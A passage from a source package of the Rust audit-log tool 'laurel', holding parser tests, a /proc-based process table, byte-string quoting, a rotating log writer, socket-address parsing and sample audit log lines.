.collect::>(), vec!( "arch: Num:<0xc000003e>", "syscall: Num:<59>", "success: Str:", "exit: Num:<0>", "a0: Num:<0x55b26d44a6a0>", "a1: Num:<0x55b26d44a878>", "a2: Num:<0x55b26d44a8e8>", "a3: Num:<0x7faeccab5850>", "items: Num:<2>", "ppid: Num:<659>", "pid: Num:<661>", "auid: Num:<4294967295>", "uid: Num:<0>", "gid: Num:<0>", "euid: Num:<0>", "suid: Num:<0>", "fsuid: Num:<0>", "egid: Num:<0>", "sgid: Num:<0>", "fsgid: Num:<0>", "tty: Str:<(none)>", "ses: Num:<4294967295>", "comm: Str:", "exe: Str:", "subj: Str:", "key: Empty", ) ); let (_, _, _, rv) = do_parse(include_bytes!("testdata/line-broken-subj2.txt")).unwrap(); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!( "arch: Num:<0xc000003e>", "syscall: Num:<49>", "success: Str:", "exit: Num:<0>", "a0: Num:<0x15>", "a1: Num:<0x55c5e046e264>", "a2: Num:<0x1c>", "a3: Num:<0x7ffc8fab77ec>", "items: Num:<0>", "ppid: Num:<1899774>", "pid: Num:<1899780>", "auid: Num:<4294967295>", "uid: Num:<0>", "gid: Num:<0>", "euid: Num:<0>", "suid: Num:<0>", "fsuid: Num:<0>", "egid: Num:<0>", "sgid: Num:<0>", "fsgid: Num:<0>", "tty: Str:<(none)>", "ses: Num:<4294967295>", "comm: Str:", "exe: Str:", "subj: Str:<=/usr/sbin/ntpd (enforce)>", "key: Empty", ) ); let (_, _, _, rv) = do_parse(include_bytes!("testdata/line-broken-avc-info.txt")).unwrap(); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!( "apparmor: Str:", "operation: Str:", "info: Str:", "profile: Str:", "name: Str:", "pid: Num:<3981295>", "comm: Str:", ) ); do_parse(include_bytes!("testdata/line-daemon-end.txt")).unwrap(); do_parse(include_bytes!("testdata/line-netfilter.txt")).unwrap(); do_parse(include_bytes!("testdata/line-anom-abend.txt")).unwrap(); do_parse(include_bytes!("testdata/line-anom-abend-2.txt")).unwrap(); do_parse(include_bytes!("testdata/line-user-auth.txt")).unwrap(); do_parse(include_bytes!("testdata/line-sockaddr-unix.txt")).unwrap(); do_parse(include_bytes!("testdata/line-sockaddr-unix-2.txt")).unwrap(); do_parse(include_bytes!("testdata/line-user-auth-2.txt")).unwrap(); do_parse(include_bytes!("testdata/line-mac-policy-load.txt")).unwrap(); do_parse(include_bytes!("testdata/line-tty.txt")).unwrap(); } #[test] #[should_panic] fn breakage_sockaddr_unknown() { do_parse(include_bytes!("testdata/line-sockaddr-unknown.txt")).unwrap(); } } laurel-0.5.6/src/proc.rs000064400000000000000000000252541046102023000132300ustar 00000000000000use std::boxed::Box; use std::cmp::Ordering; use std::collections::{BTreeMap, HashSet}; use std::error::Error; use std::fmt::{self, Display}; use std::iter::Iterator; use std::vec::Vec; use serde::{Serialize, Serializer}; use crate::label_matcher::LabelMatcher; use crate::types::EventID; #[cfg(all(feature = "procfs", target_os = "linux"))] use crate::procfs; #[derive(Clone, Debug, Default, Serialize)] pub struct ContainerInfo { #[serde(with = "faster_hex::nopfx_lowercase")] pub id: Vec, } /// Host-unique identifier for processes #[derive(Clone, Copy, Debug, PartialEq, Eq)] pub enum ProcessKey { Event(EventID), Observed { time: u64, pid: u32 }, } impl Display for ProcessKey { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { ProcessKey::Event(id) => { write!(f, "id[{id}]") } ProcessKey::Observed { time: t, pid: p } => { write!(f, "ob[{t},{p}]") } } } } impl Serialize for ProcessKey { fn serialize(&self, s: S) -> Result { s.collect_str(&self) } } impl Default for ProcessKey { fn default() -> Self { ProcessKey::Observed { time: 0, pid: 0 } } } impl Ord for ProcessKey { fn cmp(&self, other: &Self) -> Ordering { match (self, other) { (Self::Event(s), Self::Event(o)) => s .timestamp .cmp(&o.timestamp) .then_with(|| s.sequence.cmp(&o.sequence)), (Self::Observed { time: s, pid: _ }, Self::Event(o)) => { s.cmp(&o.timestamp).then(Ordering::Less) } (Self::Event(s), Self::Observed { time: o, pid: _ }) => { s.timestamp.cmp(o).then(Ordering::Greater) } (Self::Observed { time: st, pid: sp }, Self::Observed { time: ot, pid: op }) => { st.cmp(ot).then_with(|| sp.cmp(op)) } } } } impl PartialOrd for ProcessKey { fn partial_cmp(&self, other: &Self) -> Option { Some(self.cmp(other)) } } #[derive(Clone, Debug, Default, Serialize)] pub struct Process { /// "primary key", unique per host pub key: ProcessKey, /// parent's key, if a parent has been recorded. pub parent: Option, /// process ID pub pid: u32, /// parent's porocess ID pub ppid: u32, /// path to binary pub exe: Option>, /// process-settable argv[0] pub comm: Option>, /// Labels assigned to process pub labels: HashSet>, #[cfg(all(feature = "procfs", target_os = "linux"))] pub container_info: Option, } #[cfg(all(feature = "procfs", target_os = "linux"))] impl From for Process { fn from(p: procfs::ProcPidInfo) -> Self { Self { key: ProcessKey::Observed { time: p.starttime, pid: p.pid, }, parent: None, pid: p.pid, ppid: p.ppid, labels: HashSet::new(), exe: p.exe, comm: p.comm, container_info: p.container_id.map(|id| ContainerInfo { id }), } } } impl Process { /// Generate a shadow process table entry from /proc/$PID for a given PID #[cfg(all(feature = "procfs", target_os = "linux"))] pub fn parse_proc(pid: u32) -> Result> { procfs::parse_proc_pid(pid) .map(|p| p.into()) .map_err(|e| e.into()) } } /// Shadow process table /// /// This process table replica can be fed with EXECVE-based events or /// from /proc entries. #[derive(Debug, Default, Serialize)] pub struct ProcTable { processes: BTreeMap, current: BTreeMap, } impl ProcTable { /// Constructs process table from /proc entries /// /// If label_exe and propagate_labels are supplied, Process labels /// based on executable are applied and propagated to children. pub fn from_proc( label_exe: Option, propagate_labels: &HashSet>, ) -> Result> { let mut pt = ProcTable { processes: BTreeMap::new(), current: BTreeMap::new(), }; #[cfg(all(feature = "procfs", target_os = "linux"))] { for pid in procfs::get_pids()? { // /proc/ access is racy. Ignore errors here. if let Ok(mut proc) = Process::parse_proc(pid) { if let (Some(label_exe), Some(exe)) = (&label_exe, &proc.exe) { proc.labels .extend(label_exe.matches(exe).iter().map(|v| Vec::from(*v))); } pt.insert(proc); } } // build parent/child relationships for proc in pt.processes.values_mut() { if proc.parent.is_none() { proc.parent = pt.current.get(&proc.pid).cloned(); } } } if let Some(label_exe) = &label_exe { for proc in pt.processes.values_mut() { if let Some(exe) = &proc.exe { proc.labels .extend(label_exe.matches(exe).into_iter().map(|c| c.into())) } } if !propagate_labels.is_empty() { /* TODO */ } } Ok(pt) } pub fn insert(&mut self, proc: Process) { self.processes.insert(proc.key, proc.clone()); self.current.insert(proc.pid, proc.key); } /// Retrieves a process by key. pub fn get_key(&self, key: &ProcessKey) -> Option<&Process> { self.processes.get(key) } /// Retrieves a process by pid. pub fn get_pid(&self, pid: u32) -> Option<&Process> { self.current.get(&pid).and_then(|pk| self.get_key(pk)) } /// Retrieves a process by pid. If the process is not found in the /// shadow process table, an attempt is made to fetch the /// information from another source, i.e. /proc. pub fn get_or_retrieve(&mut self, pid: u32) -> Option<&Process> { #[cfg(all(feature = "procfs", target_os = "linux"))] if self.get_pid(pid).is_none() { self.insert_from_procfs(pid); } self.get_pid(pid) } /// Fetch process information from procfs, insert into shadow /// process table. #[cfg(all(feature = "procfs", target_os = "linux"))] pub fn insert_from_procfs(&mut self, pid: u32) -> Option<&Process> { if let Ok(p) = Process::parse_proc(pid) { let key = p.key; self.insert(p); self.processes.get(&key) } else { None } } /// Remove processes that are no longer running and that were not /// parents of currently running processes. /// /// It should be possible to run this every few seconds without /// incurring load. #[cfg(all(feature = "procfs", target_os = "linux"))] pub fn expire(&mut self) { use std::collections::BTreeSet; let mut proc_prune: BTreeSet = self.processes.keys().cloned().collect(); let mut pid_prune: Vec = vec![]; let live_processes = match procfs::get_pids() { Ok(p) => p, Err(_) => return, }; // unmark latest instance in by_pids and all its parents for seed_pid in live_processes { let mut key = match self.current.get(&seed_pid) { None => continue, Some(&key) => key, }; // keep all parents of live processes => remove them from // the prune list. loop { if !proc_prune.remove(&key) { break; } key = match self.processes.get(&key) { Some(Process { pid, parent: Some(parent_key), .. }) if *pid >= 1 => *parent_key, _ => break, }; } } // remove entries from primary process list for key in &proc_prune { self.processes.remove(key); } // remove pidi entries for processes that have disappeared for (pid, pk) in &self.current { if proc_prune.contains(pk) { pid_prune.push(*pid); } } for pid in pid_prune { self.current.remove(&pid); } } /// No expire mechanism has been implemented for the case where /// there's no procfs support. #[cfg(not(all(feature = "procfs", target_os = "linux")))] pub fn expire(&self) {} pub fn set_labels(&mut self, key: &ProcessKey, labels: &HashSet>) { if let Some(p) = self.processes.get_mut(key) { p.labels = labels.clone(); } } } #[cfg(test)] mod tests { use super::*; #[test] fn show_processes() -> Result<(), Box> { let pt = ProcTable::from_proc(None, &HashSet::new())?; for p in pt.processes { println!("{:?}", &p); } Ok(()) } #[test] fn proc_key_ord() { let e1 = ProcessKey::Event(EventID { timestamp: 1700000000000, sequence: 1000, }); let e2 = ProcessKey::Event(EventID { timestamp: 1700000000000, sequence: 1001, }); let e3 = ProcessKey::Event(EventID { timestamp: 1700000000001, sequence: 1002, }); let o1 = ProcessKey::Observed { time: 1700000000000, pid: 1000, }; let o2 = ProcessKey::Observed { time: 1700000000000, pid: 1001, }; let o3 = ProcessKey::Observed { time: 1700000000001, pid: 1002, }; for e in [e1, e2, e3] { for o in [o1, o2, o3] { assert!(e.cmp(&o).is_ne(), "{e} should not be equal to {o}"); assert!(o.cmp(&e).is_ne(), "{o} should not be equal to {e}"); } } assert!(e1.cmp(&e2).is_lt()); assert!(e1.cmp(&e3).is_lt()); assert!(e2.cmp(&e3).is_lt()); assert!(o1.cmp(&o2).is_lt()); assert!(o1.cmp(&o3).is_lt()); assert!(o2.cmp(&o3).is_lt()); assert!(e1.cmp(&o1).is_gt()); assert!(e1.cmp(&o2).is_gt()); assert!(e1.cmp(&o3).is_lt()); assert!(e2.cmp(&o1).is_gt()); assert!(e2.cmp(&o2).is_gt()); assert!(e2.cmp(&o3).is_lt()); assert!(e3.cmp(&o1).is_gt()); assert!(e3.cmp(&o2).is_gt()); assert!(e3.cmp(&o3).is_gt()); } } laurel-0.5.6/src/procfs.rs000064400000000000000000000167361046102023000135660ustar 00000000000000use std::ffi::OsStr; use std::fs::{read_dir, read_link, File, Metadata}; use std::io::{BufRead, BufReader, Read, Write}; use std::os::unix::ffi::OsStrExt; use std::path::Path; use std::str::FromStr; use faster_hex::hex_decode; use lazy_static::lazy_static; use nix::sys::time::TimeSpec; use nix::time::{clock_gettime, ClockId}; use nix::unistd::{sysconf, SysconfVar}; use thiserror::Error; lazy_static! { /// kernel clock ticks per second static ref CLK_TCK: u64 = sysconf(SysconfVar::CLK_TCK).unwrap().unwrap() as u64; } #[derive(Debug, Error)] pub enum ProcFSError { #[error("can't read /proc/{pid}/(obj): {err}")] PidFile { pid: u32, obj: &'static str, err: std::io::Error, }, #[error("can't enumerate processes: {0}")] Enum(std::io::Error), #[error("can't get field {0}")] Field(&'static str), #[error("{0}: {1}")] Errno(&'static str, nix::errno::Errno), } fn slurp_file>(path: P) -> Result, std::io::Error> { let f = File::open(path)?; let mut r = BufReader::with_capacity(1 << 16, f); r.fill_buf()?; let mut buf = Vec::with_capacity(8192); r.read_to_end(&mut buf)?; Ok(buf) } /// Read contents of file, return buffer. fn slurp_pid_obj(pid: u32, obj: &'static str) -> Result, ProcFSError> { let path = format!("/proc/{pid}/{obj}"); slurp_file(path).map_err(|err| ProcFSError::PidFile { pid, obj, err }) } type Environment = Vec<(Vec, Vec)>; /// Returns set of environment variables that match pred for a given process pub fn get_environ(pid: u32, pred: F) -> Result where F: Fn(&[u8]) -> bool, { let buf = slurp_pid_obj(pid, "environ")?; let mut res = Vec::new(); for e in buf.split(|c| *c == 0) { let mut kv = e.splitn(2, |c| *c == b'='); let k = kv.next().unwrap_or_default(); if pred(k) { let v = kv.next().unwrap_or_default(); res.push((k.to_owned(), v.to_owned())); } } Ok(res) } /// Returns all currently valid process IDs pub fn get_pids() -> Result, ProcFSError> { Ok(read_dir("/proc") .map_err(ProcFSError::Enum)? .flatten() .filter_map(|e| u32::from_str(e.file_name().to_string_lossy().as_ref()).ok()) .collect::>()) } /// Returns file metadata for a path from a process' perspective pub fn pid_path_metadata(pid: u32, path: &[u8]) -> Result { if path.is_empty() || path[0] != b'/' { return Err(std::io::ErrorKind::NotFound.into()); } let mut proc_path = Vec::with_capacity(20 + path.len()); // unwrap safety: write will not produce an IO error write!(proc_path, "/proc/{pid}/root").unwrap(); proc_path.extend(path); std::fs::metadata(OsStr::from_bytes(&proc_path)) } #[derive(Debug)] pub(crate) struct ProcPidInfo { /// /proc//stat field 1 pub pid: u32, /// /proc//stat field 4 pub ppid: u32, /// /proc//stat field 22, converted to milliseconds since epoch pub starttime: u64, /// /proc/pid/comm pub comm: Option>, /// /proc/pid/exe pub exe: Option>, /// sha256 from /proc/pid/cgroup pub container_id: Option>, } /// Parses information from /proc entry corresponding to process pid pub(crate) fn parse_proc_pid(pid: u32) -> Result { let buf = slurp_pid_obj(pid, "stat")?; // comm may contain whitespace and ")", skip over it. let pid_end = buf .iter() .enumerate() .find(|(_, c)| **c == b' ') .ok_or(ProcFSError::Field("pid"))? .0; let stat_pid = &buf[..pid_end]; let comm_end = buf .iter() .enumerate() .rfind(|(_, c)| **c == b')') .ok_or(ProcFSError::Field("comm"))? .0; let stat = &buf[comm_end + 2..] .split(|c| *c == b' ') .collect::>(); let comm = slurp_pid_obj(pid, "comm") .map(|mut s| { s.truncate(s.len() - 1); s }) .ok(); let exe = read_link(format!("/proc/{}/exe", pid)) .map(|p| Vec::from(p.as_os_str().as_bytes())) .ok(); let pid = u32::from_str(String::from_utf8_lossy(stat_pid).as_ref()) .map_err(|_| ProcFSError::Field("pid"))?; let ppid = u32::from_str(String::from_utf8_lossy(stat[1]).as_ref()) .map_err(|_| ProcFSError::Field("ppid"))?; let starttime = u64::from_str(String::from_utf8_lossy(stat[19]).as_ref()) .map_err(|_| ProcFSError::Field("starttime"))?; // Use the boottime-based clock to calculate process start // time, convert to Unix-epoch-based-time. let proc_boottime = TimeSpec::from(libc::timespec { tv_sec: (starttime / *CLK_TCK) as _, tv_nsec: ((starttime % *CLK_TCK) * (1_000_000_000 / *CLK_TCK)) as _, }); #[cfg(not(target_os = "linux"))] let proc_age = TimeSpec::from(std::time::Duration::ZERO); #[cfg(target_os = "linux")] let proc_age = clock_gettime(ClockId::CLOCK_BOOTTIME) .map_err(|e| ProcFSError::Errno("clock_gettime(CLOCK_BOOTTIME)", e))? - proc_boottime; let starttime = { let lt = clock_gettime(ClockId::CLOCK_REALTIME) .map_err(|e| ProcFSError::Errno("clock_gettime(CLOCK_REALTIME)", e))? - proc_age; (lt.tv_sec() * 1000 + lt.tv_nsec() / 1_000_000) as u64 }; let container_id = parse_proc_pid_cgroup(pid)?; Ok(ProcPidInfo { pid, ppid, starttime, comm, exe, container_id, }) } fn extract_sha256(buf: &[u8]) -> Option> { let mut dec = [0u8; 32]; match buf.len() { n if n < 64 => None, _ if hex_decode(&buf[buf.len() - 64..], &mut dec).is_ok() => Some(Vec::from(dec)), _ if hex_decode(&buf[..64], &mut dec).is_ok() => Some(Vec::from(dec)), _ => None, } } /// Parses "container id" (some SHA256 sum) from /proc/pid/cgroup pub(crate) fn parse_proc_pid_cgroup(pid: u32) -> Result>, ProcFSError> { parse_cgroup_buf(&slurp_pid_obj(pid, "cgroup")?) } fn parse_cgroup_buf(buf: &[u8]) -> Result>, ProcFSError> { for line in buf.split(|c| *c == b'\n') { let dir = line.split(|&c| c == b':').nth(2); if dir.is_none() { continue; } for fragment in dir.unwrap().split(|&c| c == b'/') { let fragment = if fragment.ends_with(&b".scope"[..]) { &fragment[..fragment.len() - 6] } else { fragment }; match extract_sha256(fragment) { None => continue, Some(id) => return Ok(Some(id)), } } } Ok(None) } #[cfg(test)] mod tests { use super::*; #[test] fn parse_self() { let pid = std::process::id(); let proc = parse_proc_pid(pid).expect(&format!("parse entry for {pid}")); println!("{:?}", proc); } #[test] fn parse_cgroup() -> Result<(), Box> { let testdata = br#"0::/system.slice/docker-47335b04ebb4aefdc353dda62ddd38e5e1e00fc1372f0c8d0138417f0ccb9e6c.scope 0::/user.slice/user-1000.slice/user@1000.service/user.slice/libpod-974a75c8cf45648fcc6e718ba92ee1f2034463674f0d5b0c50f5cab041a4cbd6.scope/container "#; { parse_cgroup_buf(testdata).map_err(|e| -> Box { format!("{}: {}", String::from_utf8_lossy(testdata), e).into() })?; } Ok(()) } } laurel-0.5.6/src/quoted_string.rs000064400000000000000000000107101046102023000151430ustar 00000000000000use std::str; /// Format byte sequence as a string that is suitable for serializing /// to the audit log pub(crate) trait ToQuotedString { fn to_quoted_string(&self) -> String; } const HEXDIGITS: &[u8; 16] = b"0123456789abcdef"; fn push_byte_quoted(sb: &mut Vec, byte: u8) { let byte = byte as usize; // safety: We have created a 3 byte ASCII string, i.e. valid Unicode. sb.extend(&[b'%', HEXDIGITS[byte >> 4], HEXDIGITS[byte & 15]]); } impl ToQuotedString for [u8] { fn to_quoted_string(self: &[u8]) -> String { let mut sb: Vec = Vec::with_capacity(self.len()); // Are we currently inside a UTF-8 multibyte sequence? let mut utf8state: Option = None; let mut bytes = Vec::with_capacity(3); for c in self { loop { match utf8state { None => { let len: u8 = if *c >= 32 && *c < 127 && *c != b'%' && *c != b'+' { // simple byte, psuh as-is. sb.push(*c); break; } else if *c & 0b11100000 == 0b11000000 { 1 } else if *c & 0b11110000 == 0b11100000 { 2 } else if *c & 0b11111000 == 0b11110000 { 3 } else { // simple non-representable byte push_byte_quoted(&mut sb, *c); break; }; bytes.clear(); bytes.push(*c); utf8state = Some(len); break; } Some(ref mut len) => { if *c & 0b11000000 == 0b10000000 { bytes.push(*c); *len -= 1; if *len == 0 { match str::from_utf8(&bytes) { Ok(s) => sb.extend(s.bytes()), _ => bytes.iter().for_each(|c| push_byte_quoted(&mut sb, *c)), } utf8state = None; } break; } else { // incomplete UTF-8 multi-byte sequence, // output collected bytes. bytes.iter().for_each(|c| push_byte_quoted(&mut sb, *c)); utf8state = None; } } } } } if utf8state.is_some() { bytes.iter().for_each(|c| push_byte_quoted(&mut sb, *c)); } // safety: We have verified that individual bytes and byte // sequences that were added were valid UTF-8 characters or // character sequences. unsafe { String::from_utf8_unchecked(sb) } } } #[cfg(test)] mod test { use super::ToQuotedString; #[test] fn to_quoted_string() { assert_eq!(" ", b" ".to_quoted_string()); assert_eq!("asdf", b"asdf".to_quoted_string()); assert_eq!("%2b", b"+".to_quoted_string()); assert_eq!("%25", b"%".to_quoted_string()); assert_eq!("%2b%2b%2b", b"+++".to_quoted_string()); assert_eq!("%25%25%25", b"%%%".to_quoted_string()); assert_eq!("%25%2b%25", b"%+%".to_quoted_string()); assert_eq!("ä", b"\xc3\xa4".to_quoted_string()); assert_eq!("€", b"\xe2\x82\xac".to_quoted_string()); assert_eq!("💖", b"\xf0\x9f\x92\x96".to_quoted_string()); assert_eq!("äöü", b"\xc3\xa4\xc3\xb6\xc3\xbc".to_quoted_string()); assert_eq!( "abcdäöüefgh", b"abcd\xc3\xa4\xc3\xb6\xc3\xbcefgh".to_quoted_string() ); assert_eq!("🄻🄰🅄🅁🄴🄻", b"\xf0\x9f\x84\xbb\xf0\x9f\x84\xb0\xf0\x9f\x85\x84\xf0\x9f\x85\x81\xf0\x9f\x84\xb4\xf0\x9f\x84\xbb".to_quoted_string()); assert_eq!("%c3ä", b"\xc3\xc3\xa4".to_quoted_string()); assert_eq!("%f0💖", b"\xf0\xf0\x9f\x92\x96".to_quoted_string()); assert_eq!("%f0%9f💖", b"\xf0\x9f\xf0\x9f\x92\x96".to_quoted_string()); assert_eq!( "%f0%9f%92💖", b"\xf0\x9f\x92\xf0\x9f\x92\x96".to_quoted_string() ); // This will probably need some corner cases. } } laurel-0.5.6/src/rotate.rs000064400000000000000000000112231046102023000135520ustar 00000000000000use std::ffi::{OsStr, OsString}; use std::fs::{self, remove_file, rename, File, OpenOptions}; use std::io::{Error, ErrorKind, Result, Seek, SeekFrom, Write}; use std::os::unix::fs::OpenOptionsExt; use std::os::unix::io::AsRawFd; use exacl::{setfacl, AclEntry, Perm}; use nix::sys::stat::{fchmod, Mode}; use nix::unistd::Uid; /// A rotating (log) file writer /// /// [`FileRotate`] rotates the file after `filesize` bytes have been /// written to the main file. Up to `num_files` generations of backup /// files are kept around. pub struct FileRotate { /// The name for the main file. For backup generations, `.1`, /// `.2`, `.3` etc. are appended to this file name. pub basename: OsString, /// When a [`write`] operation causes the main file to reach this /// size, a [`FileRotate::rotate`] operation is triggered. pub filesize: u64, pub generations: u64, pub uids: Vec, file: Option, offset: u64, } impl FileRotate { /// Creates a new [`FileRotate`] instance. This does not involve /// any I/O operations; the main file is only created when calling /// [`write`]. pub fn new>(path: P) -> Self { FileRotate { basename: OsString::from(path.as_ref()), filesize: 0, generations: 0, uids: vec![], file: None, offset: 0, } } pub fn with_filesize(mut self, p: u64) -> Self { self.filesize = p; self } pub fn with_generations(mut self, p: u64) -> Self { self.generations = p; self } pub fn with_uid(mut self, uid: Uid) -> Self { self.uids.push(uid); self } /// Closes the main file and performs a backup file rotation pub fn rotate(&mut self) -> Result<()> { log::info!("Rotating {}", self.basename.to_string_lossy()); for suffix in (0..self.generations).rev() { let mut old = self.basename.clone(); match suffix { 0 => (), _ => old.push(format!(".{}", suffix)), }; let mut new = self.basename.clone(); new.push(format!(".{}", suffix + 1)); if fs::metadata(&old).is_ok() { fs::rename(old, new)?; } } self.file = None; Ok(()) } /// Opens main file, re-using existing file if prersent. /// /// If the file does not exist, a new temporary file is crerated, /// permissions are adjusted, and it is renamed to the final /// destination. fn open(&mut self) -> Result<()> { let mut acl = vec![ AclEntry::allow_user("", Perm::from_bits_truncate(6), None), AclEntry::allow_group("", Perm::from_bits_truncate(4), None), #[cfg(any(target_os = "linux", target_os = "freebsd"))] AclEntry::allow_other(Perm::empty(), None), ]; for uid in &self.uids { acl.push(AclEntry::allow_user(&format!("{}", uid), Perm::READ, None)); } if let Ok(mut f) = OpenOptions::new() .write(true) .append(true) .open(&self.basename) { fchmod(f.as_raw_fd(), Mode::from_bits(0o600).unwrap()) .map_err(|e| Error::new(ErrorKind::Other, e))?; setfacl(&[&self.basename], &acl, None).map_err(|e| Error::new(e.kind(), e))?; self.offset = f.seek(SeekFrom::End(0))?; self.file = Some(f); } else { let mut tmp = self.basename.clone(); tmp.push(".tmp"); remove_file(&tmp).or_else(|e| match e.kind() { std::io::ErrorKind::NotFound => Ok(()), _ => Err(e), })?; let f = OpenOptions::new() .create_new(true) .mode(0o600) .write(true) .append(true) .open(&tmp)?; setfacl(&[&tmp], &acl, None).map_err(|e| Error::new(e.kind(), e))?; rename(&tmp, &self.basename)?; self.offset = 0; self.file = Some(f); } Ok(()) } } impl Write for FileRotate { fn write(&mut self, buf: &[u8]) -> Result { if self.file.is_none() { self.open()?; } let mut f = self.file.as_ref().unwrap(); let sz = f.write(buf)?; self.offset += sz as u64; if self.offset > self.filesize && self.filesize != 0 { f.sync_all()?; self.rotate()?; } Ok(sz) } fn flush(&mut self) -> Result<()> { match self.file.as_ref() { Some(mut f) => f.flush(), None => Ok(()), } } } laurel-0.5.6/src/sockaddr.h000064400000000000000000000016571046102023000136630ustar 00000000000000#include #include #include #include #include #include // #include #include #include // #include // #include #include // #include #include // #include #include #include #include // #include #include // #include #include #include #include #include #include /* Apparently, ipx.h is no longer generally available. */ #define IPX_NODE_LEN 6 struct sockaddr_ipx { sa_family_t sipx_family; uint16_t sipx_port; uint32_t sipx_network; unsigned char sipx_node[IPX_NODE_LEN]; uint8_t sipx_type; unsigned char sipx_zero; }; laurel-0.5.6/src/sockaddr.rs000064400000000000000000000137601046102023000140560ustar 00000000000000#![allow(non_upper_case_globals)] #![allow(non_camel_case_types)] #![allow(non_snake_case)] #![allow(clippy::missing_safety_doc)] include!(concat!(env!("OUT_DIR"), "/sockaddr.rs")); use std::convert::TryInto; use std::net::{Ipv4Addr, Ipv6Addr, SocketAddrV4, SocketAddrV6}; use thiserror::Error; /* pub struct SocketAddrLL { pub protocol: u16, pub ifindex: u32, pub hatype: u16, pub pkttype: u8, pub addr: Vec, } */ #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrLocal { pub path: Vec, } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrAX25 { pub call: [u8; 7], } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrATMPVC { pub itf: i16, pub vpi: i16, pub vci: i32, } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrIPX { pub port: u16, pub network: u32, pub node: [u8; 6], pub typ: u8, } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrX25 { pub address: [u8; 16], } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrVM { pub port: u32, pub cid: u32, } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrNL { pub pid: u32, pub groups: u32, } #[derive(Debug, PartialEq, Eq)] pub enum SocketAddr { Local(SocketAddrLocal), Inet(SocketAddrV4), AX25(SocketAddrAX25), ATMPVC(SocketAddrATMPVC), X25(SocketAddrX25), IPX(SocketAddrIPX), Inet6(SocketAddrV6), Netlink(SocketAddrNL), VM(SocketAddrVM), } #[derive(Debug, Error)] pub enum SocketAddrError { #[error("buffer too short")] BufferTooShort, #[error("unrecognized socket family {0}")] UnrecognizedFamily(u16), } fn get_sock(buf: &[u8]) -> Result { if buf.len() < std::mem::size_of::() { Err(SocketAddrError::BufferTooShort) } else { let sa = unsafe { std::ptr::read(&buf[0] as *const _ as _) }; Ok(sa) } } impl SocketAddr { pub fn parse(buf: &[u8]) -> Result { if buf.len() < 2 { return Err(SocketAddrError::BufferTooShort); } let fam = u16::from_ne_bytes(buf[0..2].try_into().unwrap()) as u32; match fam { AF_LOCAL => { let sa = get_sock::(buf)?; let path: Vec = if sa.sun_path[0] == 0 { &sa.sun_path[1..] } else { &sa.sun_path[..] } .iter() .take_while(|c| **c != 0) .map(|c| *c as u8) .collect(); Ok(SocketAddr::Local(SocketAddrLocal { path })) } AF_INET => { let sa = get_sock::(buf)?; Ok(SocketAddr::Inet(SocketAddrV4::new( Ipv4Addr::from(u32::from_be(sa.sin_addr.s_addr)), u16::from_be(sa.sin_port as u16), ))) } AF_AX25 => { let sa = get_sock::(buf)?; let mut call = [0u8; 7]; for (i, v) in sa.sax25_call.ax25_call.iter().enumerate() { call[i] = *v as u8; } Ok(SocketAddr::AX25(SocketAddrAX25 { call })) } AF_IPX => { let sa = get_sock::(buf)?; Ok(SocketAddr::IPX(SocketAddrIPX { port: u16::from_be(sa.sipx_port), network: u32::from_be(sa.sipx_network), node: sa.sipx_node, typ: sa.sipx_type, })) } AF_ATMPVC => { let sa = get_sock::(buf)?; Ok(SocketAddr::ATMPVC(SocketAddrATMPVC { itf: sa.sap_addr.itf, vpi: sa.sap_addr.vpi, vci: sa.sap_addr.vci, })) } AF_X25 => { let sa = get_sock::(buf)?; let mut address = [0u8; 16]; for (i, v) in sa.sx25_addr.x25_addr.iter().enumerate() { address[i] = *v as u8; } Ok(SocketAddr::X25(SocketAddrX25 { address })) } AF_INET6 => { let sa = get_sock::(buf)?; let addr = unsafe { sa.sin6_addr.in6_u.u6_addr8 }; Ok(SocketAddr::Inet6(SocketAddrV6::new( Ipv6Addr::from(addr), u16::from_be(sa.sin6_port as u16), u32::from_be(sa.sin6_flowinfo), sa.sin6_scope_id, ))) } AF_NETLINK => { let sa = get_sock::(buf)?; Ok(SocketAddr::Netlink(SocketAddrNL { pid: sa.nl_pid, groups: sa.nl_groups, })) } AF_VSOCK => { let sa = get_sock::(buf)?; Ok(SocketAddr::VM(SocketAddrVM { port: sa.svm_port, cid: sa.svm_cid, })) } _ => Err(SocketAddrError::UnrecognizedFamily(fam as _)), } } } #[cfg(test)] mod test { use super::*; #[test] fn parse_syslog() -> Result<(), SocketAddrError> { // taken from testdata/record-connect-unix-raw.txt let buf = b"\x01\x00\x2F\x64\x65\x76\x2F\x6C\x6F\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; let s = SocketAddr::parse(&buf[..])?; assert_eq!( s, SocketAddr::Local(SocketAddrLocal { path: Vec::from(*b"/dev/log") }) ); Ok(()) } } laurel-0.5.6/src/testdata/line-anom-abend-2.txt000064400000000000000000000003501046102023000173440ustar 00000000000000type=ANOM_ABEND msg=audit(1703677054.334:4223663): auid=4294967295 uid=0 gid=0 ses=4294967295 subj==/usr/bin/man//&man_groff (enforce) pid=109919 comm="preconv" exe="/usr/bin/preconv" sig=31 res=1AUID="unset" UID="root" GID="root" laurel-0.5.6/src/testdata/line-anom-abend.txt000064400000000000000000000003051046102023000172050ustar 00000000000000type=ANOM_ABEND msg=audit(1633653915.934:123): auid=4294967295 uid=1000 gid=1000 ses=4294967295 pid=1000 comm="ftptls" reason="memory violation" sig=6AUID="unset" UID="some-user" GID="some-group" laurel-0.5.6/src/testdata/line-avc-denied.txt000064400000000000000000000003331046102023000172040ustar 00000000000000type=AVC 